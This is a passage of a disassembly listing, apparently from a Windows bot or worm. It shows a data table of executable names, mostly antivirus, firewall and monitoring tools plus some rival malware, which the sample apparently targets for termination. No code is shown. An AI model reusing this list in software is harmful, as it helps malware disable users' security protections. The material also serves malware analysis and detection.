		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: sub_4088B4+ECo
					; .data:004228C4o
		align 4
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:004228C0o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:004228BCo
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:004228B8o
		align 10h
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:004228B4o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:004228B0o
		align 4
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:004228ACo
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:004228A8o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:004228A4o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:004228A0o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:0042289Co
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00422898o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00422894o
		align 4
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .data:00422890o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .data:0042288Co
		align 4
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .data:00422888o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .data:00422884o
		align 10h
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .data:00422880o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .data:0042287Co
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .data:00422878o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .data:00422874o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:00422870o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .data:0042286Co
		align 4
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .data:00422868o
		align 4
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:00422864o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .data:00422860o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .data:0042285Co
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .data:00422858o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .data:00422854o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .data:00422850o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .data:0042284Co
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .data:00422848o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .data:00422844o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .data:00422840o
		align 10h
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .data:0042283Co
		align 10h
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .data:00422838o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .data:00422834o
		align 10h
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .data:00422830o
		align 10h
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .data:0042282Co
		align 10h
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .data:00422828o
		align 10h
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .data:00422824o
		align 10h
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .data:00422820o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .data:0042281Co
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .data:00422818o
		align 4
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: .data:00422814o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .data:00422810o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .data:0042280Co
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .data:00422808o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .data:00422804o
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .data:00422800o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .data:004227FCo
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .data:004227F8o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .data:004227F4o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .data:004227F0o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:004227ECo
		align 4
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .data:004227E8o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .data:004227E4o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .data:004227E0o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .data:004227DCo
		align 10h
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .data:004227D8o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .data:004227D4o
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .data:004227D0o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .data:004227CCo
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .data:004227C8o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .data:004227C4o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .data:004227C0o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .data:004227BCo
		align 10h
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .data:004227B8o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .data:004227B4o
		align 4
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .data:004227B0o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .data:004227ACo
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .data:004227A8o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .data:004227A4o
		align 10h
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:004227A0o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .data:0042279Co
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .data:00422798o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .data:00422794o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .data:00422790o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .data:0042278Co
		align 10h
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .data:00422788o
		align 10h
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .data:00422784o
		align 10h
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00422780o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .data:0042277Co
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .data:00422778o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .data:00422774o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .data:00422770o
		align 10h
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .data:0042276Co
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .data:00422768o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .data:00422764o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .data:00422760o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .data:0042275Co
		align 10h
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .data:00422758o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .data:00422754o
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .data:00422750o
		align 4
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .data:0042274Co
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .data:00422744o
					; .data:00422748o
		align 10h
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .data:00422740o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .data:0042273Co
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .data:00422738o
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .data:00422734o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .data:00422730o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .data:0042272Co
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .data:00422728o
		align 10h
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .data:00422724o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .data:00422720o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .data:0042271Co
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .data:00422718o
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .data:00422714o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .data:00422710o
		align 10h
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .data:0042270Co
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .data:00422708o
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .data:00422704o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .data:00422700o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .data:004226FCo
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .data:004226F8o
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .data:004226F4o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .data:004226F0o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .data:004226ECo
		align 10h
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .data:004226E8o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .data:004226E4o
		align 4
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .data:004226E0o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .data:004226DCo
		align 10h
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .data:004226D8o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .data:004226D4o
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .data:004226D0o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .data:004226CCo
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .data:004226C8o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .data:004226C4o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .data:004226C0o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:004226BCo
		align 10h
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .data:004226B8o
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .data:004226B4o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .data:004226B0o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .data:004226ACo
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .data:004226A8o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .data:004226A4o
		align 10h
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .data:004226A0o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .data:0042269Co
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .data:00422698o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .data:00422694o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .data:00422690o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .data:0042268Co
		align 4
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .data:00422688o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .data:00422684o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .data:00422680o
		align 10h
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .data:0042267Co
		align 4
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .data:00422678o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .data:00422674o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .data:00422670o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .data:0042266Co
		align 10h
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .data:00422668o
		align 4
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .data:00422664o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .data:00422660o
		align 10h
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .data:0042265Co
		align 4
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .data:00422658o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .data:00422654o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .data:00422650o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .data:0042264Co
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .data:00422648o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .data:00422644o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:00422640o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .data:0042263Co
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .data:00422638o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .data:00422634o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00422630o
		align 4
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0042262Co
		align 10h
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .data:00422628o
		align 10h
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .data:00422624o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .data:00422620o
